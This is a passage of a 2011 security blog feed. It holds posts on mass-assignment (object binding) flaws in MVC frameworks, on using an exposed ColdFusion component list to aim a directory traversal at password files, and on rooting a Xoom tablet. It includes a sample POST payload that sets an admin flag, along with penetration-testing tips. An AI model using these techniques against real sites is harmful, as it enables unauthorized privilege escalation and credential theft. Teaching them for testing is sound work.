href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6363463379086411179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6363463379086411179'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/12/sanitize-input.html' title='&quot;Sanitize Input&quot;'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-CcTpoHfm45c/Tw-EUKlgGnI/AAAAAAAAAY4/hj675AVnOec/s72-c/Screen+shot+2012-01-12+at+8.03.42+PM.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-1224443702306959403</id><published>2011-12-20T08:00:00.000-05:00</published><updated>2011-12-20T10:17:50.214-05:00</updated><title type='text'>Insecure Object Mapping</title><content type='html'>&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;Over the last two cycles of OWASP top 10, insecure direct object reference has been included as major security risk. An object reference is exposed and people can manipulate that to access other objects they aren’t supposed to. But an apparently lesser-known problem is when the object itself is directly exposed. This happens when an object maps user-controlled form data directly to it’s properties with out validation.&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;Perhaps this issue gets less press because every language calls this problem something different. In ruby, people call this mass assignment. In .NET and Java it’s often referred to as reflection binding. Regardless of name, it is how the object obtains it’s data which is of concern.&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;In ruby, vulnerable code might look like this:&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    @foo = Foo.new(params[:foo])&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;The params call wants to make life easy and will automagically map any form data that matches the object’s parameters for you—unless you say otherwise. This is a very common convention used in MVC frameworks, because manually mapping a form POST to an object is annoying. The problem here is that it makes no difference to the controller whether you’ve exposed that field in the presentation layer. It just has to exist on the object.&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;In other words-- if you were updating a product quantity for your shopping cart, you might be able to change the price by guessing that a price field exists. Just add the price field to your POST parameters and it might override the value. This approach can be effective—but it is mostly a guessing game at that point. Some frameworks let you throw tons of arbitrary data and whatever sticks, sticks. Others will barf on invalid parameters.&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;There is a second route, however, which is why vulnerability deserves more attention. When I said that you are allowed to map to anything on the object, I meant it. You can map complex objects to other complex objects, as far as they related to each other. Lets look at an example in C#:&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: courier new;" /&gt;&lt;span style="font-family: courier new;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;public class Foo {&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;public string name { get; set;}&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;public Bar myBar { get; set;}&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;    &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;public class Bar {&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;public string name { get; set;}&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;public bool is_admin = { get; set;}&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;Two basic classes, foo and bar. Foo has a reference to bar. In MVC.Net, you bind a controller action to “create” Foo as such:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;public class FooController {&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;[HttpPost]&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;public ActionResult Create (Foo foo)&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;/* save Foo to database */&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;return View();&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;}&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;Behind the scenes, the framework maps all of the form data directly into the foo object. Developers also sometimes do this directly by calling the UpdateModel() function. In either usage, if someone sent a malicious POST to the “Create” view:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;Foo.Bar.name=“hello”&amp;amp;Foo.Bar.is_admin=true&amp;amp;Foo.name=“myfoo”;&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;You’d end up with a full fleshed out object where:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;Foo.name = “myfoo”&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new; font-size: small;"&gt;Foo.Bar.name = “hello”&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;Foo.Bar.is_admin = true&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;The Bar object is instantiated automatically through it’s empty constructor, and it’s properties are mapped as well. Any reference the exposed object has, you can bind to. This also works for arrays of simple or complex types too. If instead of a single instance you had an array or List&amp;lt;Bar&amp;gt;&lt;bar&gt; you would just do the following:&lt;/bar&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: courier new;"&gt;Foo.Bar[0].name=“hello”&amp;amp;Foo.Bar[0].is_admin=true&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;With out any other validations, this is all kosher.&lt;/span&gt;&lt;br style="font-family: verdana;" /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;In the wild I’ve used this attack to escalate privileges by updating my profile and walking down to a permissions table. I’ve also run across places where you could register every user to come to an event. And another instance where you could take over other people’s blog posts simply by editing your own profile.&lt;/span&gt;&lt;br style="font-family: verdana;" /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;If you search for this during tests, here are some key things I’ve learned:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;This vulnerability is best identified with access to source code—and very few developers seem to protect against it.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;When reviewing code, pay attention to how the constructor works and how fields are set on the object. Some properties are set via functions and you can’t bind them directly. Other objects don’t have empty constructors. This causes the attack to fail.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;I frequently find this vulnerability on “update” and “create” controller actions.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;You can, and I have, found this w/o source—its just harder. You do so by creating a loose type map through browsing the site.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;You can create a type map by following a process like this:&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;Going to the object's “create” page and note all the form fields that are there. That is your basic “object”.  As you see these objects in other places on the site, they might reveal more about their structure.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;The site will guide you in what you need to know about object relationships. If you are looking at your cart, and it has a list of products &amp;amp; their details-- the cart object has a list of products.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;For everything else, there are common object relationships you can just assert. Carts do generally have products, just as people generally have permissions.  Take some time and look over common object models on the interwebs.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;This attack route exists on pretty much every MVC based framework. In particular, Spring, Struts, MVC.Net and Ruby on Rails are all vulnerable. Maybe others, but those are so popular I’ve not really looked much deeper into it.&lt;/span&gt;&lt;br style="font-family: verdana;" /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;It is true that developers can prevent this by white listing specific fields to bind—but they don’t. The whole point of the convenience functions is convenience. If you’ve built an MVC application and didn’t go out of your way to protect against this—you are most likely vulnerable to it.&lt;/span&gt;&lt;br style="font-family: verdana;" /&gt;&lt;br style="font-family: verdana;" /&gt;&lt;span style="font-family: verdana;"&gt;Happy hunting.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana;"&gt;-kuzushi &lt;/span&gt;&lt;br style="font-family: verdana;" /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-1224443702306959403?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/1224443702306959403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1224443702306959403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1224443702306959403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1224443702306959403'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/12/insecure-object-mapping.html' title='Insecure Object Mapping'/><author><name>kuzushi</name><uri>http://www.blogger.com/profile/02437035052656658688</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-910605794132301947</id><published>2011-12-13T07:20:00.000-05:00</published><updated>2011-12-13T07:48:34.857-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='coldfusion'/><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><title type='text'>Not 0wning That ColdFusion Server but Helping...</title><content type='html'>Stephen, &lt;a href="https://twitter.com/averagesecguy"&gt;@averagesecguy&lt;/a&gt;, wrote a &lt;a href="http://averagesecurityguy.info/2011/12/09/owning-a-coldfusion-server/"&gt;post&lt;/a&gt; on owning a ColdFusion server. its pretty good and he wrote some code to help things along.&lt;br /&gt;&lt;br /&gt;Code: https://github.com/averagesecurityguy/scripts&lt;br /&gt;&lt;br /&gt;I thought I'd add to the conversation with some stuff I found doing CF research. The code he wrote and the metasploit module works great if things are in their &lt;span style="FONT-WEIGHT: bold"&gt;default &lt;/span&gt;locations. Of course, this will never be the case when you are on a PT and need to break into that mofro.&lt;br /&gt;&lt;br /&gt;Anyway, there is a misconfiguration that, when its present, can greatly help you exploit that locale traversal attack. Alot of time you can get the sha1.js and verify that the patch is not applied.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-5-AbsOImE-c/TuTp9ZAb1ZI/AAAAAAAAAqY/chRKLRqhOOs/s1600/sha1-locale-traversal.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 258px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5684925870542411154" border="0" alt="" src="http://3.bp.blogspot.com/-5-AbsOImE-c/TuTp9ZAb1ZI/AAAAAAAAAqY/chRKLRqhOOs/s400/sha1-locale-traversal.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;Anyway, more than once I've gotten that far but the host was Linux and locating the password.properties file failed. You're essentially guessing blind. So what i discovered is that sometimes the componentlist.cfm [Site/CFIDE/componentutils/componentlist.cfm] file is available. It looks like this:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Wj2xclN-1fQ/TuTrXyhdUYI/AAAAAAAAAqk/jcmbSSy7kgk/s1600/componentlist3-sanitized.png"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 354px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5684927423580033410" border="0" alt="" src="http://3.bp.blogspot.com/-Wj2xclN-1fQ/TuTrXyhdUYI/AAAAAAAAAqk/jcmbSSy7kgk/s400/componentlist3-sanitized.png" /&gt;&lt;/a&gt;&lt;br /&gt;Click on one of the components and you get full path to the installed component:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-n6ZzTY3DNP4/TuTrl-RBA8I/AAAAAAAAAqw/tXmLoHijoIA/s1600/componentlist4-sanitized.png"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 198px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5684927667250463682" border="0" alt="" src="http://3.bp.blogspot.com/-n6ZzTY3DNP4/TuTrl-RBA8I/AAAAAAAAAqw/tXmLoHijoIA/s400/componentlist4-sanitized.png" /&gt;&lt;/a&gt;Not the best example, because stuff is where we would expect it to be. This one is better:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-Uw4toV6nkHw/TuTr0pLHzaI/AAAAAAAAAq8/RJLelo_VKEI/s1600/componentlist6-sanitized.png"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 114px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5684927919286635938" border="0" alt="" src="http://4.bp.blogspot.com/-Uw4toV6nkHw/TuTr0pLHzaI/AAAAAAAAAq8/RJLelo_VKEI/s400/componentlist6-sanitized.png" /&gt;&lt;/a&gt;&lt;br /&gt;Now you know where to direct that directory traversal to get the proper file.&lt;br /&gt;&lt;br /&gt;Other reading:&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/"&gt;http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-910605794132301947?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/910605794132301947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=910605794132301947' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/910605794132301947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/910605794132301947'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/12/not-0wning-that-coldfusion-server-but.html' title='Not 0wning That ColdFusion Server but Helping...'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-5-AbsOImE-c/TuTp9ZAb1ZI/AAAAAAAAAqY/chRKLRqhOOs/s72-c/sha1-locale-traversal.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4851056114598316495</id><published>2011-12-11T19:29:00.006-05:00</published><updated>2011-12-11T20:13:22.247-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='motorola xoom root'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Root that Motorola Xoom and Get You Some BT5</title><content type='html'>Rooting the Xoom and putting BT5 on it...&lt;br /&gt;&lt;br /&gt;Check out&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wiki.rootzwiki.com/Motorola_Xoom"&gt;http://wiki.rootzwiki.com/Motorola_Xoom&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For instructions to get android sdk (adb/fastboot) up and running. fastboot wasnt in the current sdk. i downloaded release 1.6.r1 from &lt;a href="http://developer.android.com/sdk/older_releases.html"&gt;http://developer.android.com/sdk/older_releases.html&lt;/a&gt; and put that in my platform-tools directory.&lt;br /&gt;&lt;br /&gt;Links for the root image and what not are busted there, so go to&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.xoomforums.com/forum/motorola-xoom-development/9621-root-universal-xoom-root-any-xoom-any-update.html"&gt;http://www.xoomforums.com/forum/motorola-xoom-development/9621-root-universal-xoom-root-any-xoom-any-update.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Follow instructions. make sure to copy the Xoom-Universal-Root.zip to EXTERNAL sdcard before you start :-)&lt;br /&gt;&lt;br /&gt;I followed the instructions exactly as written and after reboot the Xoom was rooted.&lt;br /&gt;&lt;br /&gt;For BT5:&lt;br /&gt;&lt;br /&gt;go here &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;http://www.backtrack-linux.org/downloads/&lt;/a&gt;, download BT5 for ARM.&lt;br /&gt;&lt;br /&gt;unzip file, follow instructions in readme. It takes awhile to copy and extract things. I had two adb shells so i could watch the progress.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-F0IQqHltDeg/TuVNA20ZeVI/AAAAAAAAArI/kF94-kFFPp4/s1600/dir-listing.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 122px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5685034781735745874" border="0" alt="" src="http://4.bp.blogspot.com/-F0IQqHltDeg/TuVNA20ZeVI/AAAAAAAAArI/kF94-kFFPp4/s400/dir-listing.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Similar instructions here: &lt;a href="http://www.secmaniac.com/blog/2011/05/15/backtrack-5-on-motorola-xoom-in-10-minutes-or-less/"&gt;http://www.secmaniac.com/blog/2011/05/15/backtrack-5-on-motorola-xoom-in-10-minutes-or-less/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The result:&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-wr1IQBB85ig/TuVUGLBu9HI/AAAAAAAAArU/b6y7IpPKhpE/s1600/2011-12-11%2B19.54.49.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 320px; DISPLAY: block; HEIGHT: 240px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5685042569641129074" border="0" alt="" src="http://2.bp.blogspot.com/-wr1IQBB85ig/TuVUGLBu9HI/AAAAAAAAArU/b6y7IpPKhpE/s320/2011-12-11%2B19.54.49.jpg" /&gt;&lt;/a&gt; Of course, about 5 seconds of trying to type on it made me not think it was so cool. So if there is an easy way to make it suck less to send text the console let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4851056114598316495?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4851056114598316495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 